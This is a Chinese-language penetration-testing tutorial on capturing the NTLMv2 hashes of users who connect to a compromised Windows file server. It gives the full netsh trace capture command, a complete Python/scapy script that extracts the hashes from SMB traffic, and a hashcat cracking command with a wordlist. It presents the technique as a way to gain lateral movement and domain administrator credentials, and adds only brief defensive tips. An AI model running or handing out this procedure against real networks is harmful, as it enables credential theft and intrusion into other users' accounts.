渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash
字数 1560 2025-08-29 08:32:01

利用netsh抓取连接文件服务器的NTLMv2 Hash渗透技巧

0x00 前言

本文介绍如何在内网渗透中利用Windows系统自带的netsh工具抓取连接文件服务器的NTLMv2 Hash,并通过自动化解析和破解技术获取更多用户凭证。

0x01 技术背景

NTLM认证流程回顾

  1. 客户端连接文件服务器时,默认会发送当前登录用户的密码Hash进行验证
  2. 如果验证失败,才会提示用户输入用户名和密码
  3. 作为攻击者,如果控制了文件服务器,可以抓取这些认证流量获取其他用户的NTLMv2 Hash

NTLMv2 Hash特点

  • 包含用户名、域名、服务器挑战和客户端响应
  • 格式为:username::domain:challenge:HMAC-MD5:blob
  • 可通过Hashcat进行离线破解

0x02 技术实现

第一步:使用netsh进行网络抓包

netsh trace命令参数详解

netsh trace start 
  capture=yes                # 开启抓包功能
  persistent=yes             # 系统重启后保持抓包状态
  traceFile="c:\\test\\snmp1.etl"  # 抓包文件保存路径
  overwrite=yes              # 覆盖已存在文件
  correlation=no             # 不收集关联事件
  protocol=tcp               # 只抓TCP协议
  ipv4.address=192.168.62.130 # 只抓与指定IP相关的流量
  keywords=ut:authentication # 只抓认证相关流量

操作步骤

  1. 以管理员身份运行cmd
  2. 执行上述netsh命令开始抓包
  3. 等待足够时间让客户端连接
  4. 执行netsh trace stop停止抓包

注意事项

  • 仅支持Win7、Server2008R2及更高版本
  • Server2008不支持此功能
  • 抓包文件为.etl格式,需要转换后才能分析

第二步:转换抓包文件格式

  1. 下载安装Windows Message Analyzer:

    • 官方下载:https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226
  2. 转换步骤:

    • 打开Message Analyzer
    • 导入.etl文件
    • 等待解析完成(左下角显示"Ready")
    • 选择"File" > "Save As" > "Export"保存为.cap格式
  3. 使用Wireshark打开.cap文件验证抓包结果

第三步:提取NTLMv2 Hash

手动提取方法

  1. 在Wireshark中过滤SMB2协议

  2. 找到NTLMSSP认证流程的数据包

  3. 从数据包中提取以下信息:

    • 用户名
    • 域名
    • 服务器挑战(Challenge)
    • HMAC-MD5值
    • Blob数据
  4. 拼接成Hashcat可识别的格式:
    username::domain:challenge:HMAC-MD5:blob

自动化提取Python脚本

#!/usr/bin/env python
try:
    import scapy.all as scapy
except ImportError:
    import scapy
try:
    import scapy_http.http
except ImportError:
    from scapy.layers import http

packets = scapy.rdpcap('6.pcap')
Num = 1
for p in range(len(packets)):
    try:
        if packets[p]['TCP'].dport ==445:
            TCPPayload = packets[p]['Raw'].load
            if TCPPayload.find('NTLMSSP') != -1:
                if len(TCPPayload) > 500:
                    print "Hashcat NTLMv2 No.%d"%(Num)
                    Num = Num+1
                    print ("PacketNum: %d"%(p+1))
                    print ("src: %s"%(packets[p]['IP'].src))
                    print ("dst: %s"%(packets[p]['IP'].dst))
                    
                    Flag = TCPPayload.find('NTLMSSP')
                    ServerTCPPayload = packets[p-1]['Raw'].load
                    ServerFlag = ServerTCPPayload.find('NTLMSSP')
                    ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")
                    print ("ServerChallenge: %s"%(ServerChallenge))
                    
                    DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
                    DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256
                    DomainLength = DomainLength1 + DomainLength2
                    DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]
                    DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
                    DomainName = ''.join(DomainName)
                    print ("DomainName: %s"%(DomainName))
                    
                    UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)
                    UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256
                    UserNameLength = UserNameLength1 + UserNameLength2
                    UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]
                    UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]
                    UserName = ''.join(UserName)
                    print ("UserName: %s"%(UserName))
                    
                    NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)
                    NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256
                    NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2
                    NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex")
                    print "Hashcat NTLMv2:"
                    print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))
    except:
        pass

脚本使用说明

  1. 先将.cap文件转换为pcap格式(Wireshark可直接另存为)
  2. 安装Python依赖:scapyscapy_http
  3. 修改脚本中的pcap文件名
  4. 运行脚本自动提取NTLMv2 Hash

第四步:破解NTLMv2 Hash

使用Hashcat进行破解:

hashcat -m 5600 ntlmv2.hash rockyou.txt

参数说明:

  • -m 5600:指定NTLMv2哈希类型
  • ntlmv2.hash:包含提取的哈希文件
  • rockyou.txt:密码字典文件

0x03 技术细节与注意事项

端口相关

  1. 默认使用445端口(SMB over TCP)
  2. 如果禁用445端口但启用NetBIOS over TCP/IP,会回退到139端口
  3. 如果完全禁用NetBIOS over TCP/IP,禁用445端口后将无法使用文件共享

数据包分析要点

  1. 识别NTLMSSP认证流程
  2. 正确提取各字段长度(注意小端序存储)
  3. Unicode字符串需要转换为ASCII(取奇数位字节)

防御措施

  1. 禁用NTLM认证,强制使用Kerberos
  2. 配置SMB签名防止中间人攻击
  3. 监控异常的网络抓包行为

0x04 总结

本技术利用Windows内置工具实现:

  1. 无需安装第三方软件即可抓包
  2. 自动化提取NTLMv2 Hash
  3. 离线破解获取更多用户凭证

在内网渗透中,这种技术可以:

  • 横向移动获取更多主机权限
  • 提升权限获取域管理员凭证
  • 收集敏感信息进行进一步攻击
利用netsh抓取连接文件服务器的NTLMv2 Hash渗透技巧 0x00 前言 本文介绍如何在内网渗透中利用Windows系统自带的netsh工具抓取连接文件服务器的NTLMv2 Hash,并通过自动化解析和破解技术获取更多用户凭证。 0x01 技术背景 NTLM认证流程回顾 客户端连接文件服务器时,默认会发送当前登录用户的密码Hash进行验证 如果验证失败,才会提示用户输入用户名和密码 作为攻击者,如果控制了文件服务器,可以抓取这些认证流量获取其他用户的NTLMv2 Hash NTLMv2 Hash特点 包含用户名、域名、服务器挑战和客户端响应 格式为: username::domain:challenge:HMAC-MD5:blob 可通过Hashcat进行离线破解 0x02 技术实现 第一步:使用netsh进行网络抓包 netsh trace命令参数详解 : 操作步骤 : 以管理员身份运行cmd 执行上述netsh命令开始抓包 等待足够时间让客户端连接 执行 netsh trace stop 停止抓包 注意事项 : 仅支持Win7、Server2008R2及更高版本 Server2008不支持此功能 抓包文件为.etl格式,需要转换后才能分析 第二步:转换抓包文件格式 下载安装Windows Message Analyzer: 官方下载:https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226 转换步骤: 打开Message Analyzer 导入.etl文件 等待解析完成(左下角显示"Ready") 选择"File" > "Save As" > "Export"保存为.cap格式 使用Wireshark打开.cap文件验证抓包结果 第三步:提取NTLMv2 Hash 手动提取方法 : 在Wireshark中过滤SMB2协议 找到NTLMSSP认证流程的数据包 从数据包中提取以下信息: 用户名 域名 服务器挑战(Challenge) HMAC-MD5值 Blob数据 拼接成Hashcat可识别的格式: username::domain:challenge:HMAC-MD5:blob 自动化提取Python脚本 : 脚本使用说明 : 先将.cap文件转换为pcap格式(Wireshark可直接另存为) 安装Python依赖: scapy 和 scapy_http 修改脚本中的pcap文件名 运行脚本自动提取NTLMv2 Hash 第四步:破解NTLMv2 Hash 使用Hashcat进行破解: 参数说明: -m 5600 :指定NTLMv2哈希类型 ntlmv2.hash :包含提取的哈希文件 rockyou.txt :密码字典文件 0x03 技术细节与注意事项 端口相关 默认使用445端口(SMB over TCP) 如果禁用445端口但启用NetBIOS over TCP/IP,会回退到139端口 如果完全禁用NetBIOS over TCP/IP,禁用445端口后将无法使用文件共享 数据包分析要点 识别NTLMSSP认证流程 正确提取各字段长度(注意小端序存储) Unicode字符串需要转换为ASCII(取奇数位字节) 防御措施 禁用NTLM认证,强制使用Kerberos 配置SMB签名防止中间人攻击 监控异常的网络抓包行为 0x04 总结 本技术利用Windows内置工具实现: 无需安装第三方软件即可抓包 自动化提取NTLMv2 Hash 离线破解获取更多用户凭证 在内网渗透中,这种技术可以: 横向移动获取更多主机权限 提升权限获取域管理员凭证 收集敏感信息进行进一步攻击